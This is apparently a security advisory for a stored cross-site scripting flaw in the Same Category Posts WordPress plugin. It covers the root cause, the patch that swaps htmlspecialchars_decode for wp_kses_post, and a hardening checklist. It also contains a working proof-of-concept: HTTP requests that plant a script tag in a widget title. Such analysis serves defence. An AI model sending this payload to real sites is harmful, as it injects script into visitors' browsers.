The Exploit
Authenticated attacker needs Author-level access to the WordPress admin area and the ability to update the Same Category Posts widget settings.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_abc123=...; wordpress_test_cookie=WP+Cookie+check
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: https://target.example/wp-admin/widgets.php
action=update-widget&
widget-id=same-category-posts-2&
sidebar=sidebar-1&
_wpnonce=PLACEHOLDER_NONCE&
widget-same-category-posts[2][title]=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E
GET / HTTP/1.1
Host: target.example
Cookie: wordpress_test_cookie=WP+Cookie+check
Accept: text/html
The POST stores the malicious widget title payload in the Same Category Posts widget settings. The subsequent GET renders the front-end page and returns HTML containing the raw injected script, e.g. ...<script>alert('xss')</script>..., which executes in any visitor’s browser.
What the Patch Did
Before:
echo htmlspecialchars_decode(apply_filters('widget_title',$linkList));
echo htmlspecialchars_decode(apply_filters('widget_title',$categoryNames));
$ret = $before_title . htmlspecialchars_decode(apply_filters('widget_title',isset($val['title'])?$val['title']:"")) . $after_title;
After:
echo wp_kses_post(apply_filters('widget_title',$linkList));
echo wp_kses_post(apply_filters('widget_title',$categoryNames));
$ret = $before_title . wp_kses_post(apply_filters('widget_title',isset($val['title'])?$val['title']:"")) . $after_title;
The patch replaces unsafe output decoding with wp_kses_post(), a WordPress output sanitization function that strips disallowed HTML while preserving safe markup. This changes the security control from “decode entities and print raw HTML” to “sanitize HTML before rendering”.
Root Cause
This is CWE-79: Stored Cross-Site Scripting. The dataflow begins with attacker-controlled widget configuration, specifically widget-same-category-posts[2][title] from the widget update request. That value reaches the widget rendering logic inside same-category-posts.php, where it is passed through apply_filters('widget_title', ...) and then fed into htmlspecialchars_decode(). The unsafe sink is the direct echo of the decoded string into page output, crossing the trust boundary from admin-supplied widget settings into the browser without proper escaping.
Why It Works
The single load-bearing change is the replacement of htmlspecialchars_decode(...) with wp_kses_post(...). If the plugin still decoded HTML entities, any malicious title or taxonomy-derived string could reconstitute <script> or other executable markup in the rendered widget. The patch fixes the output encoding at the sink, which is where the vulnerability actually occurs. The other changed lines are the same fix applied to each separate widget title output path: one for $linkList, one for $categoryNames, and one for the actual widget title placeholder stored in $val['title'].
Why this still matters at admin
Even though the attack requires authenticated access, Author-level accounts are common on WordPress blogs and editorial sites. A compromised author session, stolen credentials, or a malicious author can plant a widget payload that executes for every visitor to pages using the Same Category Posts widget. That turns a seemingly low-privilege account into a site-wide browser compromise.
Hardening Checklist
- Escape widget output with
wp_kses_post()oresc_html()before echoing it, especially for values passed throughapply_filters('widget_title', ...). - Never call
htmlspecialchars_decode()on untrusted data before rendering; it undoes HTML escaping. - Sanitize widget settings on save with
sanitize_text_field()if HTML is not required in widget titles. - Treat taxonomy term names as untrusted data and sanitize them at output, not just at input.
- Keep widget rendering logic consistent: sanitize every title/path that is printed, including category name placeholders and generated link lists.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14797